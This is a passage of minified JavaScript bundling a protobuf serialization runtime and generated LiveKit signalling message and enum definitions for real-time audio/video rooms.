c=Gt;if(t.kind=="scalar"&&t.L>0&&(c=xa),s){let h=i[o];if(n==G.LengthDelimited&&a!=T.STRING&&a!=T.BYTES){let v=e.uint32()+e.pos;for(;e.pos<v;)h.push(c(e,a))}else h.push(c(e,a))}else i[o]=c(e,a);break;case"message":const d=t.T;s?i[o].push(At(e,new d,r,t)):De(i[o])?At(e,i[o],r,t):(i[o]=At(e,new d,r,t),d.fieldWrapper&&!t.oneof&&!t.repeated&&(i[o]=d.fieldWrapper.unwrapField(i[o])));break;case"map":let[u,l]=Oa(t,e,r);i[o][u]=l;break}}function At(i,e,t,n){const r=e.getType().runtime.bin,s=n==null?void 0:n.delimited;return r.readMessage(e,i,s?n.no:i.uint32(),t,s),e}function Oa(i,e,t){const n=e.uint32(),r=e.pos+n;let s,o;for(;e.pos<r;){const[a]=e.tag();switch(a){case 1:s=Gt(e,i.K);break;case 2:switch(i.V.kind){case"scalar":o=Gt(e,i.V.T);break;case"enum":o=e.int32();break;case"message":o=At(e,new i.V.T,t,void 0);break}break}}if(s===void 0&&(s=Ye(i.K,Me.BIGINT)),typeof s!="string"&&typeof s!="number"&&(s=s.toString()),o===void 0)switch(i.V.kind){case"scalar":o=Ye(i.V.T,Me.BIGINT);break;case"enum":o=i.V.T.values[0].no;break;case"message":o=new i.V.T;break}return[s,o]}function xa(i,e){const t=Gt(i,e);return typeof t=="bigint"?t.toString():t}function Gt(i,e){switch(e){case T.STRING:return i.string();case T.BOOL:return i.bool();case T.DOUBLE:return i.double();case T.FLOAT:return i.float();case T.INT32:return i.int32();case T.INT64:return i.int64();case T.UINT64:return i.uint64();case T.FIXED64:return i.fixed64();case T.BYTES:return i.bytes();case T.FIXED32:return i.fixed32();case T.SFIXED32:return i.sfixed32();case T.SFIXED64:return i.sfixed64();case T.SINT64:return i.sint64();case T.UINT32:return i.uint32();case T.SINT32:return i.sint32()}}function An(i,e,t,n){K(e!==void 0);const r=i.repeated;switch(i.kind){case"scalar":case"enum":let s=i.kind=="enum"?T.INT32:i.T;if(r)if(K(Array.isArray(e)),i.packed)Da(t,s,i.no,e);else for(const o of e)lt(t,s,i.no,o);else lt(t,s,i.no,e);break;case"message":if(r){K(Array.isArray(e));for(const o of e)Nn(t,n,i,o)}else Nn(t,n,i,e);break;case"map":K(typeof e=="object"&&e!=null);for(const[o,a]of Object.entries(e))Ma(t,n,i,o,a);break}}function Ma(i,e,t,n,r){i.tag(t.no,G.LengthDelimited),i.fork();let s=n;switch(t.K){case T.INT32:case T.FIXED32:case T.UINT32:case T.SFIXED32:case T.SINT32:s=Number.parseInt(n);break;case T.BOOL:K(n=="true"||n=="false"),s=n=="true";break}switch(lt(i,t.K,1,s),t.V.kind){case"scalar":lt(i,t.V.T,2,r);break;case"enum":lt(i,T.INT32,2,r);break;case"message":K(r!==void 0),i.tag(2,G.LengthDelimited).bytes(r.toBinary(e));break}i.join()}function Nn(i,e,t,n){const r=Lr(t.T,n);t.delimited?i.tag(t.no,G.StartGroup).raw(r.toBinary(e)).tag(t.no,G.EndGroup):i.tag(t.no,G.LengthDelimited).bytes(r.toBinary(e))}function lt(i,e,t,n){K(n!==void 0);let[r,s]=Ur(e);i.tag(t,r)[s](n)}function Da(i,e,t,n){if(!n.length)return;i.tag(t,G.LengthDelimited).fork();let[,r]=Ur(e);for(let s=0;s<n.length;s++)i[r](n[s]);i.join()}function Ur(i){let e=G.Varint;switch(i){case T.BYTES:case T.STRING:e=G.LengthDelimited;break;case T.DOUBLE:case T.FIXED64:case T.SFIXED64:e=G.Bit64;break;case T.FIXED32:case T.SFIXED32:case T.FLOAT:e=G.Bit32;break}const t=T[i].toLowerCase();return[e,t]}function Aa(){return{setEnumType:Pr,initPartial(i,e){if(i===void 0)return;const t=e.getType();for(const n of t.fields.byMember()){const r=n.localName,s=e,o=i;if(o[r]!=null)switch(n.kind){case"oneof":const a=o[r].case;if(a===void 0)continue;const c=n.findField(a);let d=o[r].value;c&&c.kind=="message"&&!De(d,c.T)?d=new c.T(d):c&&c.kind==="scalar"&&c.T===T.BYTES&&(d=it(d)),s[r]={case:a,value:d};break;case"scalar":case"enum":let u=o[r];n.T===T.BYTES&&(u=n.repeated?u.map(it):it(u)),s[r]=u;break;case"map":switch(n.V.kind){case"scalar":case"enum":if(n.V.T===T.BYTES)for(const[f,v]of Object.entries(o[r]))s[r][f]=it(v);else Object.assign(s[r],o[r]);break;case"message":const h=n.V.T;for(const f of Object.keys(o[r])){let v=o[r][f];h.fieldWrapper||(v=new h(v)),s[r][f]=v}break}break;case"message":const l=n.T;if(n.repeated)s[r]=o[r].map(h=>De(h,l)?h:new l(h));else{const h=o[r];l.fieldWrapper?l.typeName==="google.protobuf.BytesValue"?s[r]=it(h):s[r]=h:s[r]=De(h,l)?h:new l(h)}break}}},equals(i,e,t){return e===t?!0:!e||!t?!1:i.fields.byMember().every(n=>{const r=e[n.localName],s=t[n.localName];if(n.repeated){if(r.length!==s.length)return!1;switch(n.kind){case"message":return r.every((o,a)=>n.T.equals(o,s[a]));case"scalar":return r.every((o,a)=>_e(n.T,o,s[a]));case"enum":return r.every((o,a)=>_e(T.INT32,o,s[a]))}throw new Error("repeated cannot contain ".concat(n.kind))}switch(n.kind){case"message":return n.T.equals(r,s);case"enum":return _e(T.INT32,r,s);case"scalar":return _e(n.T,r,s);case"oneof":if(r.case!==s.case)return!1;const o=n.findField(r.case);if(o===void 0)return!0;switch(o.kind){case"message":return o.T.equals(r.value,s.value);case"enum":return _e(T.INT32,r.value,s.value);case"scalar":return _e(o.T,r.value,s.value)}throw new Error("oneof cannot contain ".concat(o.kind));case"map":const a=Object.keys(r).concat(Object.keys(s));switch(n.V.kind){case"message":const c=n.V.T;return a.every(u=>c.equals(r[u],s[u]));case"enum":return a.every(u=>_e(T.INT32,r[u],s[u]));case"scalar":const d=n.V.T;return a.every(u=>_e(d,r[u],s[u]))}break}})},clone(i){const e=i.getType(),t=new e,n=t;for(const r of e.fields.byMember()){const s=i[r.localName];let o;if(r.repeated)o=s.map(Rt);else if(r.kind=="map"){o=n[r.localName];for(const[a,c]of Object.entries(s))o[a]=Rt(c)}else r.kind=="oneof"?o=r.findField(s.case)?{case:s.case,value:Rt(s.value)}:{case:void 0}:o=Rt(s);n[r.localName]=o}for(const r of e.runtime.bin.listUnknownFields(i))e.runtime.bin.onUnknownField(n,r.no,r.wireType,r.data);return t}}}function Rt(i){if(i===void 0)return i;if(De(i))return i.clone();if(i instanceof Uint8Array){const e=new Uint8Array(i.byteLength);return e.set(i),e}return i}function it(i){return i instanceof Uint8Array?i:new Uint8Array(i)}function Na(i,e,t){return{syntax:i,json:Pa(),bin:Ia(),util:Object.assign(Object.assign({},Aa()),{newFieldList:e,initFields:t}),makeMessageType(n,r,s){return da(this,n,r,s)},makeEnum:ca,makeEnumType:Er,getEnumType:aa,makeExtension(n,r,s){return va(this,n,r,s)}}}class La{constructor(e,t){this._fields=e,this._normalizer=t}findJsonName(e){if(!this.jsonNames){const t={};for(const n of this.list())t[n.jsonName]=t[n.name]=n;this.jsonNames=t}return this.jsonNames[e]}find(e){if(!this.numbers){const t={};for(const n of this.list())t[n.no]=n;this.numbers=t}return this.numbers[e]}list(){return this.all||(this.all=this._normalizer(this._fields)),this.all}byNumber(){return this.numbersAsc||(this.numbersAsc=this.list().concat().sort((e,t)=>e.no-t.no)),this.numbersAsc}byMember(){if(!this.members){this.members=[];const e=this.members;let t;for(const n of this.list())n.oneof?n.oneof!==t&&(t=n.oneof,e.push(t)):e.push(n)}return this.members}}function Fr(i,e){const t=jr(i);return e?t:qa(Va(t))}function Ua(i){return Fr(i,!1)}const Fa=jr;function jr(i){let e=!1;const t=[];for(let n=0;n<i.length;n++){let r=i.charAt(n);switch(r){case"_":e=!0;break;case"0":case"1":case"2":case"3":case"4":case"5":case"6":case"7":case"8":case"9":t.push(r),e=!1;break;default:e&&(e=!1,r=r.toUpperCase()),t.push(r);break}}return t.join("")}const ja=new Set(["constructor","toString","toJSON","valueOf"]),Ba=new Set(["getType","clone","equals","fromBinary","fromJson","fromJsonString","toBinary","toJson","toJsonString","toObject"]),Br=i=>"".concat(i,"$"),Va=i=>Ba.has(i)?Br(i):i,qa=i=>ja.has(i)?Br(i):i;class Ka{constructor(e){this.kind="oneof",this.repeated=!1,this.packed=!1,this.opt=!1,this.req=!1,this.default=void 0,this.fields=[],this.name=e,this.localName=Ua(e)}addField(e){K(e.oneof===this,"field ".concat(e.name," not one of ").concat(this.name)),this.fields.push(e)}findField(e){if(!this._lookup){this._lookup=Object.create(null);for(let t=0;t<this.fields.length;t++)this._lookup[this.fields[t].localName]=this.fields[t]}return this._lookup[e]}}function Ga(i,e){var t,n,r,s,o,a;const c=[];let d;for(const u of typeof i=="function"?i():i){const l=u;if(l.localName=Fr(u.name,u.oneof!==void 0),l.jsonName=(t=u.jsonName)!==null&&t!==void 0?t:Fa(u.name),l.repeated=(n=u.repeated)!==null&&n!==void 0?n:!1,u.kind=="scalar"&&(l.L=(r=u.L)!==null&&r!==void 0?r:Me.BIGINT),l.delimited=(s=u.delimited)!==null&&s!==void 0?s:!1,l.req=(o=u.req)!==null&&o!==void 0?o:!1,l.opt=(a=u.opt)!==null&&a!==void 0?a:!1,u.packed===void 0&&(l.packed=u.kind=="enum"||u.kind=="scalar"&&u.T!=T.BYTES&&u.T!=T.STRING),u.oneof!==void 0){const h=typeof u.oneof=="string"?u.oneof:u.oneof.name;(!d||d.name!=h)&&(d=new Ka(h)),l.oneof=d,d.addField(l)}c.push(l)}return c}const S=Na("proto3",i=>new La(i,e=>Ga(e)),i=>{for(const e of i.getType().fields.byMember()){if(e.opt)continue;const t=e.localName,n=i;if(e.repeated){n[t]=[];continue}switch(e.kind){case"oneof":n[t]={case:void 0};break;case"enum":n[t]=0;break;case"map":n[t]={};break;case"scalar":n[t]=Ye(e.T,e.L);break}}}),ue=S.makeEnum("livekit.TrackType",[{no:0,name:"AUDIO"},{no:1,name:"VIDEO"},{no:2,name:"DATA"}]),$=S.makeEnum("livekit.TrackSource",[{no:0,name:"UNKNOWN"},{no:1,name:"CAMERA"},{no:2,name:"MICROPHONE"},{no:3,name:"SCREEN_SHARE"},{no:4,name:"SCREEN_SHARE_AUDIO"}]),tn=S.makeEnum("livekit.VideoQuality",[{no:0,name:"LOW"},{no:1,name:"MEDIUM"},{no:2,name:"HIGH"},{no:3,name:"OFF"}]),ct=S.makeEnum("livekit.ConnectionQuality",[{no:0,name:"POOR"},{no:1,name:"GOOD"},{no:2,name:"EXCELLENT"},{no:3,name:"LOST"}]),gt=S.makeEnum("livekit.ClientConfigSetting",[{no:0,name:"UNSET"},{no:1,name:"DISABLED"},{no:2,name:"ENABLED"}]),ht=S.makeEnum("livekit.DisconnectReason",[{no:0,name:"UNKNOWN_REASON"},{no:1,name:"CLIENT_INITIATED"},{no:2,name:"DUPLICATE_IDENTITY"},{no:3,name:"SERVER_SHUTDOWN"},{no:4,name:"PARTICIPANT_REMOVED"},{no:5,name:"ROOM_DELETED"},{no:6,name:"STATE_MISMATCH"},{no:7,name:"JOIN_FAILURE"},{no:8,name:"MIGRATION"},{no:9,name:"SIGNAL_CLOSE"}]),Be=S.makeEnum("livekit.ReconnectReason",[{no:0,name:"RR_UNKNOWN"},{no:1,name:"RR_SIGNAL_DISCONNECTED"},{no:2,name:"RR_PUBLISHER_FAILED"},{no:3,name:"RR_SUBSCRIBER_FAILED"},{no:4,name:"RR_SWITCH_CANDIDATE"}]),Wa=S.makeEnum("livekit.SubscriptionError",[{no:0,name:"SE_UNKNOWN"},{no:1,name:"SE_CODEC_UNSUPPORTED"},{no:2,name:"SE_TRACK_NOTFOUND"}]),me=S.makeEnum("livekit.AudioTrackFeature",[{no:0,name:"TF_STEREO"},{no:1,name:"TF_NO_DTX"},{no:2,name:"TF_AUTO_GAIN_CONTROL"},{no:3,name:"TF_ECHO_CANCELLATION"},{no:4,name:"TF_NOISE_SUPPRESSION"},{no:5,name:"TF_ENHANCED_NOISE_CANCELLATION"}]),nn=S.makeMessageType("livekit.Room",()=>[{no:1,name:"sid",kind:"scalar",T:9},{no:2,name:"name",kind:"scalar",T:9},{no:3,name:"empty_timeout",kind:"scalar",T:13},{no:14,name:"departure_timeout",kind:"scalar",T:13},{no:4,name:"max_participants",kind:"scalar",T:13},{no:5,name:"creation_time",kind:"scalar",T:3},{no:6,name:"turn_password",kind:"scalar",T:9},{no:7,name:"enabled_codecs",kind:"message",T:wi,repeated:!0},{no:8,name:"metadata",kind:"scalar",T:9},{no:9,name:"num_participants",kind:"scalar",T:13},{no:11,name:"num_publishers",kind:"scalar",T:13},{no:10,name:"active_recording",kind:"scalar",T:8},{no:13,name:"version",kind:"message",T:Jr}]),wi=S.makeMessageType("livekit.Codec",()=>[{no:1,name:"mime",kind:"scalar",T:9},{no:2,name:"fmtp_line",kind:"scalar",T:9}]),za=S.makeMessageType("livekit.ParticipantPermission",()=>[{no:1,name:"can_subscribe",kind:"scalar",T:8},{no:2,name:"can_publish",kind:"scalar",T:8},{no:3,name:"can_publish_data",kind:"scalar",T:8},{no:9,name:"can_publish_sources",kind:"enum",T:S.getEnumType($),repeated:!0},{no:7,name:"hidden",kind:"scalar",T:8},{no:8,name:"recorder",kind:"scalar",T:8},{no:10,name:"can_update_metadata",kind:"scalar",T:8},{no:11,name:"agent",kind:"scalar",T:8}]),vt=S.makeMessageType("livekit.ParticipantInfo",()=>[{no:1,name:"sid",kind:"scalar",T:9},{no:2,name:"identity",kind:"scalar",T:9},{no:3,name:"state",kind:"enum",T:S.getEnumType(Ri)},{no:4,name:"tracks",kind:"message",T:Ke,repeated:!0},{no:5,name:"metadata",kind:"scalar",T:9},{no:6,name:"joined_at",kind:"scalar",T:3},{no:9,name:"name",kind:"scalar",T:9},{no:10,name:"version",kind:"scalar",T:13},{no:11,name:"permission",kind:"message",T:za},{no:12,name:"region",kind:"scalar",T:9},{no:13,name:"is_publisher",kind:"scalar",T:8},{no:14,name:"kind",kind:"enum",T:S.getEnumType(Wt)}]),Ri=S.makeEnum("livekit.ParticipantInfo.State",[{no:0,name:"JOINING"},{no:1,name:"JOINED"},{no:2,name:"ACTIVE"},{no:3,name:"DISCONNECTED"}]),Wt=S.makeEnum("livekit.ParticipantInfo.Kind",[{no:0,name:"STANDARD"},{no:1,name:"INGRESS"},{no:2,name:"EGRESS"},{no:3,name:"SIP"},{no:4,name:"AGENT"}]),re=S.makeEnum("livekit.Encryption.Type",[{no:0,name:"NONE"},{no:1,name:"GCM"},{no:2,name:"CUSTOM"}]),Ha=S.makeMessageType("livekit.SimulcastCodecInfo",()=>[{no:1,name:"mime_type",kind:"scalar",T:9},{no:2,name:"mid",kind:"scalar",T:9},{no:3,name:"cid",kind:"scalar",T:9},{no:4,name:"layers",kind:"message",T:Ae,repeated:!0}]),Ke=S.makeMessageType("livekit.TrackInfo",()=>[{no:1,name:"sid",kind:"scalar",T:9},{no:2,name:"type",kind:"enum",T:S.getEnumType(ue)},{no:3,name:"name",kind:"scalar",T:9},{no:4,name:"muted",kind:"scalar",T:8},{no:5,name:"width",kind:"scalar",T:13},{no:6,name:"height",kind:"scalar",T:13},{no:7,name:"simulcast",kind:"scalar",T:8},{no:8,name:"disable_dtx",kind:"scalar",T:8},{no:9,name:"source",kind:"enum",T:S.getEnumType($)},{no:10,name:"layers",kind:"message",T:Ae,repeated:!0},{no:11,name:"mime_type",kind:"scalar",T:9},{no:12,name:"mid",kind:"scalar",T:9},{no:13,name:"codecs",kind:"message",T:Ha,repeated:!0},{no:14,name:"stereo",kind:"scalar",T:8},{no:15,name:"disable_red",kind:"scalar",T:8},{no:16,name:"encryption",kind:"enum",T:S.getEnumType(re)},{no:17,name:"stream",kind:"scalar",T:9},{no:18,name:"version",kind:"message",T:Jr},{no:19,name:"audio_features",kind:"enum",T:S.getEnumType(me),repeated:!0}]),Ae=S.makeMessageType("livekit.VideoLayer",()=>[{no:1,name:"quality",kind:"enum",T:S.getEnumType(tn)},{no:2,name:"width",kind:"scalar",T:13},{no:3,name:"height",kind:"scalar",T:13},{no:4,name:"bitrate",kind:"scalar",T:13},{no:5,name:"ssrc",kind:"scalar",T:13}]),Vr=S.makeMessageType("livekit.DataPacket",()=>[{no:1,name:"kind",kind:"enum",T:S.getEnumType(te)},{no:4,name:"participant_identity",kind:"scalar",T:9},{no:5,name:"destination_identities",kind:"scalar",T:9,repeated:!0},{no:2,name:"user",kind:"message",T:Kr,oneof:"value"},{no:3,name:"speaker",kind:"message",T:Ja,oneof:"value"},{no:6,name:"sip_dtmf",kind:"message",T:Qa,oneof:"value"},{no:7,name:"transcription",kind:"message",T:$a,oneof:"value"}]),te=S.makeEnum("livekit.DataPacket.Kind",[{no:0,name:"RELIABLE"},{no:1,name:"LOSSY"}]),Ja=S.makeMessageType("livekit.ActiveSpeakerUpdate",()=>[{no:1,name:"speakers",kind:"message",T:qr,repeated:!0}]),qr=S.makeMessageType("livekit.SpeakerInfo",()=>[{no:1,name:"sid",kind:"scalar",T:9},{no:2,name:"level",kind:"scalar",T:2},{no:3,name:"active",kind:"scalar",T:8}]),Kr=S.makeMessageType("livekit.UserPacket",()=>[{no:1,name:"participant_sid",kind:"scalar",T:9},{no:5,name:"participant_identity",kind:"scalar",T:9},{no:2,name:"payload",kind:"scalar",T:12},{no:3,name:"destination_sids",kind:"scalar",T:9,repeated:!0},{no:6,name:"destination_identities",kind:"scalar",T:9,repeated:!0},{no:4,name:"topic",kind:"scalar",T:9,opt:!0},{no:8,name:"id",kind:"scalar",T:9,opt:!0},{no:9,name:"start_time",kind:"scalar",T:4,opt:!0},{no:10,name:"end_time",kind:"scalar",T:4,opt:!0}]),Qa=S.makeMessageType("livekit.SipDTMF",()=>[{no:3,name:"code",kind:"scalar",T:13},{no:4,name:"digit",kind:"scalar",T:9}]),$a=S.makeMessageType("livekit.Transcription",()=>[{no:2,name:"participant_identity",kind:"scalar",T:9},{no:3,name:"track_id",kind:"scalar",T:9},{no:4,name:"segments",kind:"message",T:Ya,repeated:!0}]),Ya=S.makeMessageType("livekit.TranscriptionSegment",()=>[{no:1,name:"id",kind:"scalar",T:9},{no:2,name:"text",kind:"scalar",T:9},{no:3,name:"start_time",kind:"scalar",T:4},{no:4,name:"end_time",kind:"scalar",T:4},{no:5,name:"final",kind:"scalar",T:8},{no:6,name:"language",kind:"scalar",T:9}]),Gr=S.makeMessageType("livekit.ParticipantTracks",()=>[{no:1,name:"participant_sid",kind:"scalar",T:9},{no:2,name:"track_sids",kind:"scalar",T:9,repeated:!0}]),Xa=S.makeMessageType("livekit.ServerInfo",()=>[{no:1,name:"edition",kind:"enum",T:S.getEnumType(Wr)},{no:2,name:"version",kind:"scalar",T:9},{no:3,name:"protocol",kind:"scalar",T:5},{no:4,name:"region",kind:"scalar",T:9},{no:5,name:"node_id",kind:"scalar",T:9},{no:6,name:"debug_info",kind:"scalar",T:9},{no:7,name:"agent_protocol",kind:"scalar",T:5}]),Wr=S.makeEnum("livekit.ServerInfo.Edition",[{no:0,name:"Standard"},{no:1,name:"Cloud"}]),Za=S.makeMessageType("livekit.ClientInfo",()=>[{no:1,name:"sdk",kind:"enum",T:S.getEnumType(zr)},{no:2,name:"version",kind:"scalar",T:9},{no:3,name:"protocol",kind:"scalar",T:5},{no:4,name:"os",kind:"scalar",T:9},{no:5,name:"os_version",kind:"scalar",T:9},{no:6,name:"device_model",kind:"scalar",T:9},{no:7,name:"browser",kind:"scalar",T:9},{no:8,name:"browser_version",kind:"scalar",T:9},{no:9,name:"address",kind:"scalar",T:9},{no:10,name:"network",kind:"scalar",T:9}]),zr=S.makeEnum("livekit.ClientInfo.SDK",[{no:0,name:"UNKNOWN"},{no:1,name:"JS"},{no:2,name:"SWIFT"},{no:3,name:"ANDROID"},{no:4,name:"FLUTTER"},{no:5,name:"GO"},{no:6,name:"UNITY"},{no:7,name:"REACT_NATIVE"},{no:8,name:"RUST"},{no:9,name:"PYTHON"},{no:10,name:"CPP"}]),Hr=S.makeMessageType("livekit.ClientConfiguration",()=>[{no:1,name:"video",kind:"message",T:Ln},{no:2,name:"screen",kind:"message",T:Ln},{no:3,name:"resume_connection",kind:"enum",T:S.getEnumType(gt)},{no:4,name:"disabled_codecs",kind:"message",T:ec},{no:5,name:"force_relay",kind:"enum",T:S.getEnumType(gt)}]),Ln=S.makeMessageType("livekit.VideoConfiguration",()=>[{no:1,name:"hardware_encoder",kind:"enum",T:S.getEnumType(gt)}]),ec=S.makeMessageType("livekit.DisabledCodecs",()=>[{no:1,name:"codecs",kind:"message",T:wi,repeated:!0},{no:2,name:"publish",kind:"message",T:wi,repeated:!0}]),Jr=S.makeMessageType("livekit.TimedVersion",()=>[{no:1,name:"unix_micro",kind:"scalar",T:3},{no:2,name:"ticks",kind:"scalar",T:5}]),le=S.makeEnum("livekit.SignalTarget",[{no:0,name:"PUBLISHER"},{no:1,name:"SUBSCRIBER"}]),_i=S.makeEnum("livekit.StreamState",[{no:0,name:"ACTIVE"},{no:1,name:"PAUSED"}]),tc=S.makeEnum("livekit.CandidateProtocol",[{no:0,name:"UDP"},{no:1,name:"TCP"},{no:2,name:"TLS"}]),ic=S.makeMessageType("livekit.SignalRequest",()=>[{no:1,name:"offer",kind:"message",T:Le,oneof:"message"},{no:2,name:"answer",kind:"message",T:Le,oneof:"message"},{no:3,name:"trickle",kind:"message",T:rn,oneof:"message"},{no:4,name:"add_track",kind:"message",T:Oi,oneof:"message"},{no:5,name:"mute",kind:"message",T:sn,oneof:"message"},{no:6,name:"subscription",kind:"message",T:Xt,oneof:"message"},{no:7,name:"track_setting",kind:"message",T:Qr,oneof:"message"},{no:8,name:"leave",kind:"message",T:Zt,oneof:"message"},{no:10,name:"update_layers",kind:"message",T:Yr,oneof:"message"},{no:11,name:"subscription_permission",kind:"message",T:ts,oneof:"message"},{no:12,name:"sync_state",kind:"message",T:is,oneof:"message"},{no:13,name:"simulate",kind:"message",T:fe,oneof:"message"},{no:14,name:"ping",kind:"scalar",T:3,oneof:"message"},{no:15,name:"update_metadata",kind:"message",T:Xr,oneof:"message"},{no:16,name:"ping_req",kind:"message",T:rs,oneof:"message"},{no:17,name:"update_audio_track",kind:"message",T:$r,oneof:"message"},{no:18,name:"update_video_track",kind:"message",T:ac,oneof:"message"}]),Un=S.makeMessageType("livekit.SignalResponse",()=>[{no:1,name:"join",kind:"message",T:nc,oneof:"message"},{no:2,name:"answer",kind:"message",T:Le,oneof:"message"},{no:3,name:"offer",kind:"message",T:Le,oneof:"message"},{no:4,name:"trickle",kind:"message",T:rn,oneof:"message"},{no:5,name:"update",kind:"message",T:oc,oneof:"message"},{no:6,name:"track_published",kind:"message",T:on,oneof:"message"},{no:8,name:"leave",kind:"message",T:Zt,oneof:"message"},{no:9,name:"mute",kind:"message",T:sn,oneof:"message"},{no:10,name:"speakers_changed",kind:"message",T:cc,oneof:"message"},{no:11,name:"room_update",kind:"message",T:dc,oneof:"message"},{no:12,name:"connection_quality",kind:"message",T:lc,oneof:"message"},{no:13,name:"stream_state_update",kind:"message",T:fc,oneof:"message"},{no:14,name:"subscribed_quality_update",kind:"message",T:mc,oneof:"message"},{no:15,name:"subscription_permission_update",kind:"message",T:gc,oneof:"message"},{no:16,name:"refresh_token",kind:"scalar",T:9,oneof:"message"},{no:17,name:"track_unpublished",kind:"message",T:sc,oneof:"message"},{no:18,name:"pong",kind:"scalar",T:3,oneof:"message"},{no:19,name:"reconnect",kind:"message",T:rc,oneof:"message"},{no:20,name:"pong_resp",kind:"message",T:vc,oneof:"message"},{no:21,name:"subscription_response",kind:"message",T:kc,oneof:"message"}]),Ii=S.makeMessageType("livekit.SimulcastCodec",()=>[{no:1,name:"codec",kind:"scalar",T:9},{no:2,name:"cid",kind:"scalar",T:9}]),Oi=S.makeMessageType("livekit.AddTrackRequest",()=>[{no:1,name:"cid",kind:"scalar",T:9},{no:2,name:"name",kind:"scalar",T:9},{no:3,name:"type",kind:"enum",T:S.getEnumType(ue)},{no:4,name:"width",kind:"scalar",T:13},{no:5,name:"height",kind:"scalar",T:13},{no:6,name:"muted",kind:"scalar",T:8},{no:7,name:"disable_dtx",kind:"scalar",T:8},{no:8,name:"source",kind:"enum",T:S.getEnumType($)},{no:9,name:"layers",kind:"message",T:Ae,repeated:!0},{no:10,name:"simulcast_codecs",kind:"message",T:Ii,repeated:!0},{no:11,name:"sid",kind:"scalar",T:9},{no:12,name:"stereo",kind:"scalar",T:8},{no:13,name:"disable_red",kind:"scalar",T:8},{no:14,name:"encryption",kind:"enum",T:S.getEnumType(re)},{no:15,name:"stream",kind:"scalar",T:9}]),rn=S.makeMessageType("livekit.TrickleRequest",()=>[{no:1,name:"candidateInit",kind:"scalar",T:9},{no:2,name:"target",kind:"enum",T:S.getEnumType(le)}]),sn=S.makeMessageType("livekit.MuteTrackRequest",()=>[{no:1,name:"sid",kind:"scalar",T:9},{no:2,name:"muted",kind:"scalar",T:8}]),nc=S.makeMessageType("livekit.JoinResponse",()=>[{no:1,name:"room",kind:"message",T:nn},{no:2,name:"participant",kind:"message",T:vt},{no:3,name:"other_participants",kind:"message",T:vt,repeated:!0},{no:4,name:"server_version",kind:"scalar",T:9},{no:5,name:"ice_servers",kind:"message",T:Zr,repeated:!0},{no:6,name:"subscriber_primary",kind:"scalar",T:8},{no:7,name:"alternative_url",kind:"scalar",T:9},{no:8,name:"client_configuration",kind:"message",T:Hr},{no:9,name:"server_region",kind:"scalar",T:9},{no:10,name:"ping_timeout",kind:"scalar",T:5},{no:11,name:"ping_interval",kind:"scalar",T:5},{no:12,name:"server_info",kind:"message",T:Xa},{no:13,name:"sif_trailer",kind:"scalar",T:12}]),rc=S.makeMessageType("livekit.ReconnectResponse",()=>[{no:1,name:"ice_servers",kind:"message",T:Zr,repeated:!0},{no:2,name:"client_configuration",kind:"message",T:Hr}]),on=S.makeMessageType("livekit.TrackPublishedResponse",()=>[{no:1,name:"cid",kind:"scalar",T:9},{no:2,name:"track",kind:"message",T:Ke}]),sc=S.makeMessageType("livekit.TrackUnpublishedResponse",()=>[{no:1,name:"track_sid",kind:"scalar",T:9}]),Le=S.makeMessageType("livekit.SessionDescription",()=>[{no:1,name:"type",kind:"scalar",T:9},{no:2,name:"sdp",kind:"scalar",T:9}]),oc=S.makeMessageType("livekit.ParticipantUpdate",()=>[{no:1,name:"participants",kind:"message",T:vt,repeated:!0}]),Xt=S.makeMessageType("livekit.UpdateSubscription",()=>[{no:1,name:"track_sids",kind:"scalar",T:9,repeated:!0},{no:2,name:"subscribe",kind:"scalar",T:8},{no:3,name:"participant_tracks",kind:"message",T:Gr,repeated:!0}]),Qr=S.makeMessageType("livekit.UpdateTrackSettings",()=>[{no:1,name:"track_sids",kind:"scalar",T:9,repeated:!0},{no:3,name:"disabled",kind:"scalar",T:8},{no:4,name:"quality",kind:"enum",T:S.getEnumType(tn)},{no:5,name:"width",kind:"scalar",T:13},{no:6,name:"height",kind:"scalar",T:13},{no:7,name:"fps",kind:"scalar",T:13},{no:8,name:"priority",kind:"scalar",T:13}]),$r=S.makeMessageType("livekit.UpdateLocalAudioTrack",()=>[{no:1,name:"track_sid",kind:"scalar",T:9},{no:2,name:"features",kind:"enum",T:S.getEnumType(me),repeated:!0}]),ac=S.makeMessageType("livekit.UpdateLocalVideoTrack",()=>[{no:1,name:"track_sid",kind:"scalar",T:9},{no:2,name:"width",kind:"scalar",T:13},{no:3,name:"height",kind:"scalar",T:13}]),Zt=S.makeMessageType("livekit.LeaveRequest",()=>[{no:1,name:"can_reconnect",kind:"scalar",T:8},{no:2,name:"reason",kind:"enum",T:S.getEnumType(ht)},{no:3,name:"action",kind:"enum",T:S.getEnumType(We)},{no:4,name:"regions",kind:"message",T:bc}]),We=S.makeEnum("livekit.LeaveRequest.Action",[{no:0,name:"DISCONNECT"},{no:1,name:"RESUME"},{no:2,name:"RECONNECT"}]),Yr=S.makeMessageType("livekit.UpdateVideoLayers",()=>[{no:1,name:"track_sid",kind:"scalar",T:9},{no:2,name:"layers",kind:"message",T:Ae,repeated:!0}]),Xr=S.makeMessageType("livekit.UpdateParticipantMetadata",()=>[{no:1,name:"metadata",kind:"scalar",T:9},{no:2,name:"name",kind:"scalar",T:9}]),Zr=S.makeMessageType("livekit.ICEServer",()=>[{no:1,name:"urls",kind:"scalar",T:9,repeated:!0},{no:2,name:"username",kind:"scalar",T:9},{no:3,name:"credential",kind:"scalar",T:9}]),cc=S.makeMessageType("livekit.SpeakersChanged",()=>[{no:1,name:"speakers",kind:"message",T:qr,repeated:!0}]),dc=S.makeMessageType("livekit.RoomUpdate",()=>[{no:1,name:"room",kind:"message",T:nn}]),uc=S.makeMessageType("livekit.ConnectionQualityInfo",()=>[{no:1,name:"participant_sid",kind:"scalar",T:9},{no:2,name:"quality",kind:"enum",T:S.getEnumType(ct)},{no:3,name:"score",kind:"scalar",T:2}]),lc=S.makeMessageType("livekit.ConnectionQualityUpdate",()=>[{no:1,name:"updates",kind:"message",T:uc,repeated:!0}]),hc=S.makeMessageType("livekit.StreamStateInfo",()=>[{no:1,name:"participant_sid",kind:"scalar",T:9},{no:2,name:"track_sid",kind:"scalar",T:9},{no:3,name:"state",kind:"enum",T:S.getEnumType(_i)}]),fc=S.makeMessageType("livekit.StreamStateUpdate",()=>[{no:1,name:"stream_states",kind:"message",T:hc,repeated:!0}]),an=S.makeMessageType("livekit.SubscribedQuality",()=>[{no:1,name:"quality",kind:"enum",T:S.getEnumType(tn)},{no:2,name:"enabled",kind:"scalar",T:8}]),pc=S.makeMessageType("livekit.SubscribedCodec",()=>[{no:1,name:"codec",kind:"scalar",T:9},{no:2,name:"qualities",kind:"message",T:an,repeated:!0}]),mc=S.makeMessageType("liveki